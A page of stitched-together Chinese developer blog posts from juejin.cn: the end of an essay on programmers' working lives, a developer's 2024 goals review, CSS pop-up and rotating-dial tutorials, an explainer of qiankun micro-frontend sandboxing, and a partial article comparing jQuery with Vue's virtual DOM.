在大厂和小厂之外,还有一群程序员,他们生活在外包公司中。外包程序员的生活与大厂和小厂截然不同,他们的工作内容往往由客户决定,技术栈也不是自己可以随意选择的。一些外包程序员可能会长期为某个大厂或者知名企业提供服务,但他们并不属于这些公司,他们的身份始终是「外包」。


外包程序员的收入通常与大厂程序员有较大差距,工作内容也更加琐碎。与大厂和小厂的开发者相比,外包程序员的职业发展路径更为模糊。很多人觉得外包是一个「临时的选择」,但一旦进入外包行业,往往很难轻易跳出来


3.2 自由职业者的自由与孤独


与外包程序员类似,自由职业者也是程序员群体中的一个独特存在。他们没有固定的公司和老板,依靠接项目为生。自由职业者的生活看似自由,但实际上他们承担了巨大的生活压力:项目的来源、项目的质量、客户的付款周期,这些都直接决定了他们的收入。


我有一位朋友曾辞职做过一段时间的自由职业者,他的经历让我对这一群体有了更深的了解。他曾告诉我,自由职业的最大挑战不是技术,而是如何维持客户关系、如何接到稳定的项目。自由职业者的生活往往充满了不确定性,每天都是一次新的「生存游戏」。


4. 结语:折叠的程序员世界


程序员的世界如同《北京折叠》中的三个空间:大厂、小厂,外包与自由职业者,各自有着截然不同的生活方式与职业挑战。大厂程序员在高薪与内卷中挣扎,小厂程序员在资源匮乏和职业迷茫中徘徊,外包和自由职业者则在充满不确定性的项目中谋生。每个空间都有其独特的焦虑与困境,而这些困境往往是外界无法轻易察觉的。


然而,这些看似完全隔绝的空间并非毫无交集。在某些时刻,程序员们的职业轨迹会短暂交错:大厂的程序员可能因职业倦怠转而投身小厂,或选择成为自由职业者;小公司的程序员也可能抓住机会进入大厂,体验另一种生活。外包和自由职业者也常常通过项目合作,与大厂程序员产生联系。


折叠的背后,是程序员们面对的共同挑战:快速变化的技术浪潮、工作与生活的平衡、未来职业发展的不确定性。


无论身处哪个空间,程序员不仅要面对代码和产品,还要面对生活的选择与妥协。技术的迭代让人时刻保持危机感,职场的竞争让人不断追逐更高的目标,但归根结底,程序员们都在寻找如何掌控自己的命运,在压力与选择中找到一条适合自己的道路。


或许,正是这种多元的职业轨迹和复杂的生存环境,构成了程序员世界中的「折叠北京」。每个空间的故事,都在提醒我们:技术人的真正挑战,不仅在于掌握技术,更在于如何在折叠的世界中找到属于自己的平衡与方向


作者:潘锦
来源:juejin.cn/post/7445253248649674764
收起阅读 »

35岁程序员-减肥、考证、开发小程序,我的2024年度大挑战!

我的情况 \qquad坐标郑州,在一家不大的软件开发公司做Go后端开发。小公司的特点就是分工不那么明确,也就是什么都得会点,包括前端页面,服务器运维,需要的时候都得能顶上。所以吧,我现在勉强属于全栈,竞争力不算突出。 \qquad随着年龄慢慢靠近35岁的敏感点...
继续阅读 »

我的情况


\qquad坐标郑州,在一家不大的软件开发公司做Go后端开发。小公司的特点就是分工不那么明确,也就是什么都得会点,包括前端页面,服务器运维,需要的时候都得能顶上。所以吧,我现在勉强属于全栈,竞争力不算突出。

\qquad随着年龄慢慢靠近35岁的敏感点,我也越来越焦虑,总想着做点什么,让自己有点不同于他人的竞争力。趁着自己的业余时间,做过AR,弹幕直播游戏等。每次都是做着做着就会进入一种怀疑,沮丧的心态中。觉得做的东西并不独特,就算最后做出来应该也没人用,最后都成了半成品,不了了之。

\qquad今年也终于是到了我的35岁,还是一直写代码,虽说工作稳定,但小公司也没什么晋升的空间。如果一直这样下去,面对二十多岁的新生代牛马,自己哪还有还手之力。所以想着如果以后有机会的话能转向项目管理方向,给自己多准备条路,先考个证书,也算提前系统学习一下。

\qquad我身高175,年初的时候体重160斤出头,双下巴,大肚腩,标准的油腻中年男。幸好的是头发还茂盛,否则真就不好意思出门了。老婆一直催促我减肥,自己也觉得这形象实在是看不下去,于是下定决心逼自己一把。

\qquad所以,为了能做出一些改变,年初的时候我给自己定下了几个目标(当然谁都没有告诉,怕最后被打脸🤣),希望给自己一点动力。


设定目标




  1. 减肥到135斤以下

  2. 考一个软考高级证书

  3. 上线一个小程序



完成情况



  • 减肥


\qquad3个月的时间减了30斤。三月不减肥,四月徒伤悲。从3月份开始,我给自己制定了严格的饮食计划。每天早上一个鸡蛋一盒牛奶,中午米饭定量100克,晚上黄瓜,再加上抖音上很火的跳操。终于不到3个月就达成了目标。

\qquad现在体重稳定保持在132斤左右,没有反弹,以前穿不上的衣服现在也可以穿了。其实前几年每年我都减过,但最后都没有成功,每天吃不饱的滋味太难受了。这次能成功,我总结的经验就是减肥就是要靠饿,其他什么方法都不好使。😂


c36ccd74a6187e9b5413df285506bfe.jpg

  • 软考高级证书✅✅


\qquad拿下两个软考高级证书。
从春节过后开始准备高项的考试,每天强迫自己看一到两个小时的视频。刚开始看着700多页的教材,一脸懵逼,只觉得像看天书,每句话之间毫无逻辑,当时我的感觉一定是这样的。。。


image.png

\qquad后来随着学习的深入,发现书里的内容还是自成体系的,拗口的名词也都觉得有了道理。快该考试的时候听说了高项考试从一年两次,改成了一年一次。本来想着如果考不过还能有一次机会,这下考试的压力更大了。只能埋头苦学,每天背知识点,不停的刷题。还好最后一次通过。

\qquad高项考完之后,休息了一个月,突然又来了想法。做技术的应该都向往成为架构师,而且自己做了这么多年的后端开发,自认对系统架构有了一些见解,何不考验一下自己的水平? 刚好软考中有一个系统架构设计师的科目,于是决定再考一个高级证书。中间的学习过程不表,最后也是顺利通过。


e14eb8ee0bcc0a0a22c7838b832e270.jpg

\qquad可能有很多小伙伴觉得证书都是虚的,真正看实力还得Show Me The Code。对于后一句我是举双手赞成,不过证书的好处也是有的。比如有的城市可以帮助落户,对公司资质也有帮助,最少也能证明自己学习能力还在,不会被新技术淘汰掉。

\qquad总之今年超额完成了任务,目标已达到,以后应该不会再考了。



  • 上线小程序


\qquad还没有完成。 从有了想法开始, 断断续续搞了几个月,目前进展落后,完成了一半。一开始,我是想做一个微信小程序,使用微信小程序的原生语法开发,后来觉得效率太低,而且很多语法不通用,不如用一个跨平台的框架。

\qquad最后决定了用uniApp来开发,后端也由自己开发部署改为使用云函数,中间技术选型就耽误了不少功夫,开发的规划和管理还是有很大的提升空间的。而且现在就是感觉作为一个后端程序员,做页面还是有些勉强。页面的功能能用是一回事,还要做的好看,那可就难了。

\qquad虽然进度落后了,但这一次不会再半途而废了,不管最后做成什么样都要完成。争取2个月之内结束。


明年的目标


\qquad马上就要到新的一年,依然还有很多事情等着我去做。而且焦虑的感觉一点也没有减少,对自己的将来还是有些迷茫。不过机会都是留给有准备的人,为了在将来机会到来的时候能准备好,还是要学习和努力啊。就先给自己定两个目标吧。



  1. 学英语,目标是追剧可以不看字幕,也给孩子学习做个榜样

  2. 健身,八块腹肌等我




最后想在这里问一下,掘友们,你们今年的目标都完成了吗?


作者:3排3号
来源:juejin.cn/post/7454092357333925900
收起阅读 »

手把手教你实现一个中间开屏

web
前言 这次给大家带来一个开屏的效果,由纯CSS实现,实现起来并不复杂,效果也并不简单,话不多说,咱们直入主题。 效果预览 效果如下所示。 HTML部分 首先看到HTML部分,相关代码如下。 <nav class="main"> &l...
继续阅读 »

前言


这次给大家带来一个开屏的效果,由纯CSS实现,实现起来并不复杂,效果也并不简单,话不多说,咱们直入主题。


效果预览


效果如下所示。


HTML部分


首先看到HTML部分,相关代码如下。


 <nav class="main">
<a href="#terrestrial" class="open-popup">terrestrial animals</a>
<a href="#aquatic" class="open-popup">aquatic animals</a>
</nav>
<section id="terrestrial" class="popup">
<a href="#" class="back">&lt; back</a>
<p>🦓🦒🐅🐆🐘🦏🐃🦌🐐🐫</p>
</section>
<section id="aquatic" class="popup">
<a href="#" class="back">&lt; back</a>
<p>🐋🐳🐬🐟🐠🐡🐙🦑🦐🦀</p>
</section>

这里包含了一个导航条和两个弹出窗口。<nav class="main">是主导航条的部分。包含了两个链接,分别链接到页面中的不同部分。<a href="#terrestrial" class="open-popup">terrestrial animals</a><a href="#aquatic" class="open-popup">aquatic animals</a>这两个链接标签(<a>)作为导航链接,包含了类名open-popup,当这些链接被点击时会弹出相关的窗口。<section id="terrestrial" class="popup"><section id="aquatic" class="popup">这两个部分分别代表了两个弹出的窗口内容。每一个窗口内容块中包含了一个返回的链接(&lt; back)和相应类别的动物表情。


综上所述,这里构建了一个包含导航条和两个弹出窗口的结构,点击不同的链接可以弹出对应的内容窗口,用于显示相关的动物表情。


CSS部分


接着看到CSS部分。相关代码如下。


    .main {
height: inherit;
background: linear-gradient(dodgerblue, darkblue);
display: flex;
align-items: center;
justify-content: center;
}
.open-popup {
box-sizing: border-box;
color: white;
font-size: 16px;
font-family: sans-serif;
width: 10em;
height: 4em;
border: 1px solid;
text-align: center;
line-height: 4em;
text-decoration: none;
text-transform: capitalize;
margin: 1em;
}
.open-popup:hover {
border-width: 2px;
}

这里描述了主区域和打开弹窗的链接按钮的样式。设置了渐变背景色、按钮的颜色、字体大小、字体样式、宽度、高度、边框等样式属性,使用 Flex 布局,使得包裹在内部的子元素能够进行灵活的排列。


.open-popup中,box-sizing: border-box;使得元素的边框和内边距包含在宽度之内。text-align: center;使得按钮中的文本内容水平居中对齐。line-height: 4em;设定了行高。text-decoration: none;去除了链接的下划线。text-transform: capitalize;使得英文字母单词的首字母大写。.open-popup:hover定义了鼠标悬停在按钮上的样式,这里设置了边框的宽度在悬停时增加至 2px


总的来说,这些 CSS 定义了主区块的背景样式以及弹出窗口链接按钮的样式,使得按钮在悬停时具有变化的边框宽度,且主区域能够使内部的元素水平和垂直居中。


    /* popup page layout */
.popup {
position: absolute;
top: 0;
width: 100%;
height: inherit;
flex-direction: column;
justify-content: flex-start;
display: none;
}
.popup:target {
display: flex;
}
.popup .back {
font-size: 20px;
font-family: sans-serif;
text-align: center;
height: 2em;
line-height: 2em;
background-color: #ddd;
color: black;
text-decoration: none;
}
.popup .back:visited {
color: black;
}
.popup .back:hover {
background-color: #eee;
}
.popup p {
font-size: 100px;
text-align: center;
margin: 0.1em 0.05em;
}

这里描述了弹窗部分的布局与样式。在.popup中,position: absolute;将弹窗设置为绝对定位,相对于最近的已定位父元素进行定位。top: 0;将弹窗置于父元素的顶部。flex-direction: column; justify-content: flex-start;使用 Flex 布局,使得弹窗内的元素以垂直方向排列并且从顶部开始排列。display: none;表示在初始状态下将弹窗设为不可见。


.popup:target这个选择器用于在 URL 带有对应 ID 锚点时,将对应的弹窗设置为可见(display: flex)。


.popup .back设定了返回链接的字体大小、字体类型以及文本居中等样式,也设置了其背景颜色、文本颜色和访问时的颜色。


.popup p设置了段落元素的字体大小、文本居中,并添加了一些微小的外边距。


这些 CSS 给弹窗部分添加了基本的布局样式,通过使用了伪类target来控制弹窗的显示和隐藏,并设置了返回链接和段落元素的基本样式。


    /* animation effects */
.popup > * {
filter: opacity(0);
animation: fade-in 0.5s ease-in forwards;
animation-delay: 1s;
}
@keyframes fade-in {
to {
filter: opacity(1);
}
}
.popup::before {
content: "";
position: absolute;
width: 100%;
height: 0;
top: 50%;
background-color: white;
animation: open-animate 0.5s cubic-bezier(0.8, 0.2, 0, 1.2) forwards;
animation-delay: 0.5s;
}
@keyframes open-animate {
to {
height: 100vh;
top: 0;
}
}
.popup::after {
content: "";
position: absolute;
width: 0;
height: 2px;
background-color: white;
top: calc((100% - 2px) / 2);
left: 0;
animation: line-animate 0.5s cubic-bezier(0.8, 0.2, 0, 1.2);
}
@keyframes line-animate {
50%,
100% {
width: 100%;
}
}

这里描述了弹窗(Popup)元素的动画效果。在.popup > *中,filter: opacity(0);将所有子元素的不透明度设置为 0,元素将初始处于不可见状态。
animation: fade-in 0.5s ease-in forwards;使用了名称为 fade-in 的动画,持续时间为0.5秒,采用了 ease-in 时间变化,并且最终状态保持不变。animation-delay: 1s;表示动画延迟1秒后开始播放。


在动画@keyframes fade-in中,to将元素的不透明度逐渐增加到1,以显示元素。


.popup::before表示使用伪元素 ::before 创造了一个白色的遮罩层,该伪元素的初始高度为0,将在动画中展开到全屏幕高度。采用名为 open-animate 的动画,用于延时0.5秒后播放,动画效果由 Cubic-bezier 函数生成。


.popup::after表示使用伪元素 ::after 创造了一条横线,初始宽度为0,高度为2px,定义了 line-animate 动画,使得该横线逐渐展开成一条横幅。


综上所述,这些 CSS 定义了弹窗元素的动画效果,包括子元素逐渐显现、遮罩层的展开以及横线的逐渐展开,组合起来形成了一个整体的弹窗效果


总结


以上就是整个效果的实现过程了,代码简单易懂,效果也比较炫酷多样。另外,感兴趣的小伙伴们还可以在现有基础上发散思维,比如增加点其他效果,或者更改颜色等等。关于该效果如果大家有更好的想法欢迎在评论区分享,互相学习。最后,完整代码在码上掘金里可以查看,如果有什么问题大家在评论区里讨论~


作者:一条会coding的Shark
来源:juejin.cn/post/7424341949800087604
收起阅读 »

扇形旋转切换效果(等级切换转盘)

web
实现动态扇形旋转切换效果,切换进度支持渐变效果 效果展示 原理拆解 环形进度条:使用上下两个相同大小的圆间隔一定距离覆盖得到一条圆环 进度条渐变及进度控制:通过一个从左至右渐变的矩形覆盖在圆环上,然后通过css变量动态控制矩形的宽度实现进度控制 等级旋...
继续阅读 »

实现动态扇形旋转切换效果,切换进度支持渐变效果


效果展示


VeryCapture_20241015094146.gif



原理拆解


原理拆解.png



  1. 环形进度条:使用上下两个相同大小的圆间隔一定距离覆盖得到一条圆环

  2. 进度条渐变及进度控制:通过一个从左至右渐变的矩形覆盖在圆环上,然后通过css变量动态控制矩形的宽度实现进度控制

  3. 等级旋转切换:将等级按照指定间隔角度定位到圆的边上,通过改变圆的旋转角度实现等级旋转切换


源码实现


<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}

.position-center {
position: absolute;
left: 50%;
transform: translateX(-50%);
bottom: 0;
}

.container {
--height: 20vh;
--progress: 0;

width: 100%;
height: var(--height);
position: relative;
overflow: hidden;

.inner {
width: 200%;
height: calc(var(--height) * 2);
background-color: #2f2f2f;
border-radius: 50%;
overflow: hidden;

.circle {
width: calc(var(--height) * 6.5);
height: calc(var(--height) * 6.5);
border-radius: 50%;
}

.circle-bottom {
bottom: 12%;
overflow: hidden;
padding: 25% 15% 0 15%;
background-color: #535353;

.circle-mask {
width: calc(var(--progress) * 1%);
height: 100%;
background-image: linear-gradient(to right, rgba(31, 231, 236, .3), rgba(31, 231, 236, .7));
transition: all .3s ease-in-out;
}
}

.circle-top {
background-color: #2f2f2f;
bottom: 13%;
padding: 27% 15% 0 15%;

color: #fff;
display: flex;
justify-content: space-around;
align-items: flex-end;
}

.circle-main {
width: calc(var(--height) * 6.5);
height: calc(var(--height) * 6.5);
border-radius: 50%;
transition: all .3s ease-in-out;
transform: translateX(-50%) rotate(0deg);

.item {
--rotate: 0;
position: absolute;
height: 100%;
display: flex;
justify-content: center;
align-items: flex-end;
top: 50%;
left: 50%;
transform: translate(-50%, -50%) rotate(calc(var(--rotate) * -1deg));

.item-inner {
display: flex;
flex-direction: column;
align-items: center;
position: relative;
bottom: -30px;
font-size: 14px;
color: #ccc;

.point {
width: 7px;
height: 7px;
background-color: #fff;
border-radius: 50%;
margin-top: 4px;
box-shadow: 0 0 10px rgba(255, 255, 255, 0.8);


&::before {
content: '';
width: 12px;
height: 12px;
border-radius: 50%;
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}
}

.label-bottom {
margin-top: 5px;
}
}

.active {
.point {
background-color: rgba(31, 231, 236, 1);

&::before {
background-color: rgba(31, 231, 236, 0.3);
}
}
}
}
}
}
}

.btns {
position: absolute;
bottom: 500px;
left: 50%;
transform: translateX(-50%);
button {
color: #1fe7ec;
border: 1px solid #1fe7ec;
background-color: transparent;
padding: 4px 15px;
border-radius: 4px;
font-size: 14px;
}
}
</style>
</head>

<body>
<div id="container" class="container" style="--progress: 33.33">
<div class="inner position-center">
<div class="circle circle-bottom position-center">
<div class="circle-mask"></div>
</div>
<div class="circle circle-top position-center">
<div id="circle" class="circle-main position-center">
<div class="item" style="--rotate: -15;">
<div class="item-inner active">
<div class="label-top">10-15w</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V1</div>
</div>
</div>
<div class="item" style="--rotate: 0;">
<div class="item-inner">
<div class="label-top">15-20w</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V2</div>
</div>
</div>
<div class="item" style="--rotate: 15;">
<div class="item-inner">
<div class="label-top">20w+</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V3</div>
</div>
</div>
<div class="item" style="--rotate: 30;">
<div class="item-inner">
<div class="label-top">30w+</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V4</div>
</div>
</div>
<div class="item" style="--rotate: 45;">
<div class="item-inner">
<div class="label-top">50w+</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V5</div>
</div>
</div>
</div>
</div>
</div>
</div>

<div class="btns">
<button onclick="prev()">上一个</button>
<button onclick="next()">下一个</button>
</div>

<script>
const container = document.getElementById('container')
const circle = document.getElementById('circle')
const max = circle.children.length

let currentIndex = 0

const acitve = () => {
const items = circle.querySelectorAll('.item')
items.forEach((item, index) => {
const itemInner = item.querySelector('.item-inner')
if (index === currentIndex) {
itemInner.classList.add('active')
} else {
itemInner.classList.remove('active')
}
})
}
const next = () => {
if (currentIndex < max - 1) {
currentIndex += 1
}

if (currentIndex < max - 1) {
container.style.setProperty('--progress', 50)
circle.style.transform = `translateX(-50%) rotate(${15 * (currentIndex - 1)}deg)`
} else {
container.style.setProperty('--progress', 100)
}

acitve()
}

const prev = () => {
if (currentIndex > 0) {
currentIndex -= 1
}

if (currentIndex > 0) {
container.style.setProperty('--progress', 50)
circle.style.transform = `translateX(-50%) rotate(${15 * (currentIndex - 1)}deg)`
} else {
container.style.setProperty('--progress', 33.33)
}

acitve()
}
</script>
</body>

</html>

作者:zhangsantx
来源:juejin.cn/post/7425227672422268943
收起阅读 »

乾坤(qiankun)实现沙箱机制,看这篇就够了

web
乾坤(Qiankun)是一个微前端框架,它通过沙箱机制来隔离各个微应用,确保它们在同一个页面中不会相互干扰。以下是乾坤实现沙箱的主要技术和步骤: 一,沙箱实现原理 全局变量隔离: 乾坤通过代理(Proxy)对象来拦截和管理全局变量(如 window 对象)...
继续阅读 »

乾坤(Qiankun)是一个微前端框架,它通过沙箱机制来隔离各个微应用,确保它们在同一个页面中不会相互干扰。以下是乾坤实现沙箱的主要技术和步骤:


一,沙箱实现原理



  1. 全局变量隔离



    • 乾坤通过代理(Proxy)对象来拦截和管理全局变量(如 window 对象)的读写操作,从而实现全局变量的隔离。

    • 当微应用尝试访问或修改全局变量时,沙箱会捕获这些操作并进行处理,确保不会影响其他微应用。



  2. 样式隔离



    • 乾坤使用 Shadow DOM 或 scoped CSS 来隔离微应用的样式,防止样式冲突。

    • 对于不支持 Shadow DOM 的浏览器,乾坤会通过 CSS 前缀或其他方式来实现样式隔离。



  3. 事件隔离



    • 乾坤会拦截和管理全局事件(如 clickresize 等),确保事件不会跨微应用传播。

    • 通过事件代理和事件委托,实现事件的精确控制和隔离。



  4. 生命周期管理



    • 乾坤为每个微应用定义了详细的生命周期钩子,包括 bootstrapmount 和 unmount,确保微应用在不同阶段的行为可控。

    • 在 unmount 阶段,乾坤会清理微应用的全局变量、事件监听器等,确保微应用卸载后不会留下残留。




沙箱机制代码实现示例


以下是一个简单的示例,展示了乾坤如何通过 Proxy 对象实现全局变量隔离:


// 沙箱类
class Sandbox {
constructor() {
this.originalWindow = window; // 保存原始的 window 对象
this.proxyWindow = new Proxy(window, {
get: (target, key) => {
// 检查是否已经存在隔离的变量
if (this[key] !== undefined) {
return this[key];
}
return target[key];
},
set: (target, key, value) => {
// 检查是否已经存在隔离的变量
if (this[key] !== undefined) {
this[key] = value;
return true;
}
target[key] = value;
return true;
}
});
}

activate() {
// 激活沙箱,将 window 替换为 proxyWindow
window = this.proxyWindow;
}

deactivate() {
// 恢复原始的 window 对象
window = this.originalWindow;
}

clear() {
// 清理沙箱中的所有变量
for (const key in this) {
if (this.hasOwnProperty(key) && key !== 'originalWindow' && key !== 'proxyWindow') {
delete this[key];
}
}
}
}

// 使用沙箱
const sandbox = new Sandbox();

// 激活沙箱
sandbox.activate();

// 模拟微应用的全局变量操作
window.myVar = 'Hello, Qiankun!';

// 检查沙箱中的全局变量
console.log(sandbox.myVar); // 输出: Hello, Qiankun!

// 恢复原始的 window 对象
sandbox.deactivate();

// 清理沙箱
sandbox.clear();

// 检查原始的 window 对象
console.log(window.myVar); // 输出: undefined

代码详细解释



  1. 构造函数



    • constructor 中保存了原始的 window 对象,并创建了一个 Proxy 对象 proxyWindow,用于拦截对 window 的访问。



  2. 拦截读取操作



    • get 方法拦截对 window 对象属性的读取操作。如果沙箱中已经存在该属性,则返回沙箱中的值;否则返回原始 window 对象中的值。



  3. 拦截写入操作



    • set 方法拦截对 window 对象属性的写入操作。如果沙箱中已经存在该属性,则更新沙箱中的值;否则更新原始 window 对象中的值。



  4. 激活和恢复



    • activate 方法将 window 替换为 proxyWindow,激活沙箱。

    • deactivate 方法将 window 恢复为原始的 window 对象,退出沙箱。



  5. 清理



    • clear 方法清理沙箱中的所有变量,确保微应用卸载后不会留下残留。




优势



  • 隔离性:通过 Proxy 拦截,确保微应用对全局变量的读写操作不会影响其他微应用。

  • 灵活性:可以在 get 和 set 方法中添加更多的逻辑,例如日志记录、权限检查等。

  • 透明性:对微应用来说,使用 window 对象的体验与未使用沙箱时相同,无需修改微应用的代码。


通过这种方式,乾坤等微前端框架能够有效地隔离各个微应用的全局变量,确保它们在同一个页面中稳定运行。


使用 Proxy 对象拦截和管理全局变量的读写操作


使用 Proxy 对象拦截和管理全局变量的读写操作是实现沙箱机制的一种常见方法。Proxy 是 JavaScript 提供的一个内置对象,用于定义自定义行为(也称为陷阱,traps)来拦截并控制对目标对象的操作。在微前端框架中,Proxy 可以用来拦截对 window 对象的访问,从而实现全局变量的隔离。


详细步骤



  1. 创建 Proxy 对象



    • 使用 new Proxy(target, handler) 创建一个 Proxy 对象,其中 target 是要拦截的目标对象(通常是 window),handler 是一个对象,定义了各种拦截操作的自定义行为。



  2. 定义拦截行为



    • handler 对象中可以定义多种拦截操作,例如 getsetapplyconstruct 等。这里主要关注 get 和 set 方法,用于拦截对全局变量的读取和写入操作。



  3. 激活和恢复 Proxy



    • 在微应用启动时激活 Proxy,在微应用卸载时恢复原始的 window 对象。




二,Shadow DOM


Shadow DOM 是一种 Web 技术,允许你在文档中创建独立的 DOM 树,并将其附加到一个元素上。这些独立的 DOM 树与主文档的其余部分隔离,因此可以避免样式和脚本的冲突。


实现步骤



  1. 创建 Shadow Root



    • 为每个微应用的根元素创建一个 Shadow Root。



  2. 插入样式



    • 将微应用的样式插入到 Shadow Root 中,而不是主文档的 <head> 中。



  3. 插入内容



    • 将微应用的内容插入到 Shadow Root 中。




Shadow Dom示例代码


!-- HTML 结构 -->
<div id="app-root"></div>
<script>
// 获取微应用的根元素
const rootElement = document.getElementById('micri-app-root');

// 创建 Shadow Root
const shadowRoot = rootElement.attachShadow({ mode: 'open' });

// 插入样式
const style = document.createElement('style');
style.textContent = `
.app-header {
background-color: blue;
color: white;
}
`;
shadowRoot.appendChild(style);

// 插入内容
const content = document.createElement('div');
content.className = 'app-header';
content.textContent = 'Hello, Qiankun!';
shadowRoot.appendChild(content);
</script>

三,Scoped CSS


Scoped CSS 是一种在 HTML 中为特定组件或部分定义样式的机制。通过在 <style> 标签中使用 scoped 属性,可以确保样式仅应用于当前元素及其子元素。


Scoped CSS实现步骤



  1. 创建带有 scoped 属性的 <style> 标签



    • 在微应用的根元素内部创建一个带有 scoped 属性的 <style> 标签。



  2. 插入样式



    • 将微应用的样式插入到带有 scoped 属性的 <style> 标签中。



  3. 插入内容



    • 将微应用的内容插入到根元素中。




Scoped CSS示例代码


<!-- HTML 结构 -->
<div id="micro-app-root">
<style scoped>
.app-header {
background-color: blue;
color: white;
}
</style>
<div class="app-header">Hello, Qiankun!</div>
</div>

通过使用 Shadow DOM 和 scoped CSS,乾坤能够有效地隔离微应用的样式,防止样式冲突。这两种方法各有优缺点:



  • Shadow DOM



    • 优点:完全隔离,不会受到外部样式的影响。

    • 缺点:浏览器兼容性稍差,某些旧浏览器不支持。



  • Scoped CSS



    • 优点:兼容性好,大多数现代浏览器都支持。

    • 缺点:样式隔离不如 Shadow DOM 完全,可能会受到一些外部样式的影响。




根据具体需求和项目环境,可以选择适合的样式隔离方式。


总结


乾坤通过以下技术实现了微应用的沙箱隔离:



  • 全局变量隔离:使用 Proxy 对象拦截和管理全局变量的读写操作。

  • 样式隔离:使用 Shadow DOM 或 scoped CSS 防止样式冲突。

  • 事件隔离:拦截和管理全局事件,确保事件不会跨微应用传播。

  • 生命周期管理:定义详细的生命周期钩子,确保微应用在不同阶段的行为可控。


通过这些机制,乾坤能够有效地隔离各个微应用,确保它们在同一个页面中稳定运行。


PS:学会了记得,点赞,评论,收藏,分享


作者:AndyGoWei
来源:juejin.cn/post/7431455846150242354
收起阅读 »

为什么JQuery会被淘汰?Vue框架就一定会比JQuery好吗?

web
前言 曾经面试时碰到过一个问题:为什么现有的Vue框架开发可以淘汰之前的JQuery? 我回答:Vue框架无需自己操作DOM,可以避免自己频繁的操作DOM 面试官接着反问我:Vue框架无需自己操作DOM,有什么优势吗,不用操作DOM就一定是好的吗? 我懵了,在...
继续阅读 »

前言


曾经面试时碰到过一个问题:为什么现有的Vue框架开发可以淘汰之前的JQuery?


我回答:Vue框架无需自己操作DOM,可以避免自己频繁的操作DOM


面试官接着反问我:Vue框架无需自己操作DOM,有什么优势吗,不用操作DOM就一定是好的吗?


我懵了,在我的认知里Vue框架无需自己操作DOM性能是一定优于自己来操作DOM元素的,其实并不是的.....


声明式框架与命令式框架


首先我们得了解声明式框架和命令式框架的区别


命令式框架关注过程


JQuery就是典型的命令式框架


例如我们来看如下一段代码


$( "button.continue" ).html( "Next Step..." ).on('click', () => { alert('next') })

这段代码的含义就是先获取一个类名为continue的button元素,它的内容为 Next Step...,并为它绑定一个点击事件。可以看到自然语言描述与代码是一一对应的,这更符合我们做事的逻辑


声明式框架更关注结果


现有的Vue,React都是典型的声明式框架


接着来看一段Vue的代码


<button class="continue" @click="() => alert('next')">Next Step...</button>

这是一段类HTML模板,它更像是直接提供一个结果。至于怎么实现这个结果,就交给Vue内部来实现,开发者不用关心


性能比较


首先告诉大家结论:声明式代码性能不优于命令式代码性能


即:声明式代码性能 <= 命令式代码性能


为什么会这样呢?


还是拿上面的代码举例


假设我们要将button的内容改为 pre Step,那么命令式的实现就是:


button.textContent = "pre Step"

很简单,就是直接修改


声明式的实现就是:


<!--之前 -->
<button class="continue" @click="() => alert('next')">Next Step...</button>
<!--现在 -->
<button class="continue" @click="() => alert('next')">pre Step</button>

对于声明式框架来说,它需要找到更改前后的差异并只更新变化的地方。但是最终更新的代码仍然是


button.textContent = "pre Step"

假设直接修改的性能消耗为 A, 找出差异的性能消耗为 B,
那么就有:



  • 命令式代码的更新性能消耗 = A

  • 声明式代码的更新性能消耗 = A + B


可以看到声明式代码永远要比命令式代码要多出找差异的性能消耗


那既然声明式代码的性能无法超越命令式代码的性能,为什么我们还要选择声明式代码呢?这就要考虑到代码可维护性的问题了。当项目庞大之后,手动完成dom的创建,更新与删除明显需要更多的时间和精力。而声明式代码框架虽然牺牲了一点性能,但是大大提高了项目的可维护性降低了开发人员的心智负担


那么,有没有办法能同时兼顾性能和可维护性呢?
有!那就是使用虚拟dom


虚拟Dom


首先声明一个点,命令式代码只是理论上会比声明式代码性能高。因为在实际开发过程中,尤其是项目庞大之后,开发人员很难写出绝对优化的命令式代码。
而Vue框架内部使用虚拟Dom + 内部封装Dom元素操作的方式,能让我们不用付出太多精力的同时,还能保证程序的性能下限,甚至逼近命令式代码的性能


在讨论虚拟Dom的性能之前,我们首先要说明一个点:JavaScript层面的计算所需时间要远低于Dom层面的计算所需时间 看过浏览器渲染与解析机制的同学应该很明白为什么会这样。


我们在使用原生JavaScript编写页面时,很喜欢使用innerHTML,这个方法非常特殊,下面我们来比较一下使用虚拟Dom和使用innerHTML的性能差异


创建页面时


我们在使用innerHTML创建页面时,通常是这样的:


const data = "hello"
const htmlString = `<div>${data}</div>`
domcument.querySelect('.target').innerHTML = htmlString

这个过程需要先通过JavaScript层的字符串运算,然后是Dom层的innerHTML的Dom运算 (将字符串赋值给Dom元素的innerHTML属性时会将字符串解析为Dom树)


而使用虚拟Dom的方式通常是编译用户编写的类html模板得到虚拟Dom(JavaScript对象),然后遍历虚拟Dom树创建真实Dom对象


两者比较:


innerHTML虚拟Dom
JavaScript层面运算计算拼接HTML字符串创建JavaScript对象(虚拟Dom)
Dom层面运算新建所有Dom元素新建所有Dom元素

可以看到两者在创建页面阶段的性能差异不大。尽管在JavaScript层面,创建虚拟Dom对象貌似更耗时间,但是总体来说,Dom层面的运算是一致的,两者属于同一数量级,宏观来看可认为没有差异


更新页面时


使用innerHTML更新页面,通常是这样:


//更新
const newData = "hello world"
const newHtmlString = `<div>${newData}</div>`
domcument.querySelect('.target').innerHTML = newHtmlString

这个过程同样是先通过JavaScript层的字符串运算,然后是Dom层的innerHTML的Dom运算。但是它在Dom层的运算是销毁所有旧的DOM元素,再全量创建新的DOM元素


而使用虚拟Dom的方式通常是重新创建新的虚拟Dom(JavaScript对象),然后比较新旧虚拟Dom,找到需要更改的地方并更新Dom元素


两者比较:


innerHTML虚拟Dom
JavaScript层面运算计算拼接HTML字符串创建JavaScript对象(虚拟Dom)+ Diff算法
Dom层面运算销毁所有旧的Dom元素,新建所有新的DOM元素必要的DOM更新

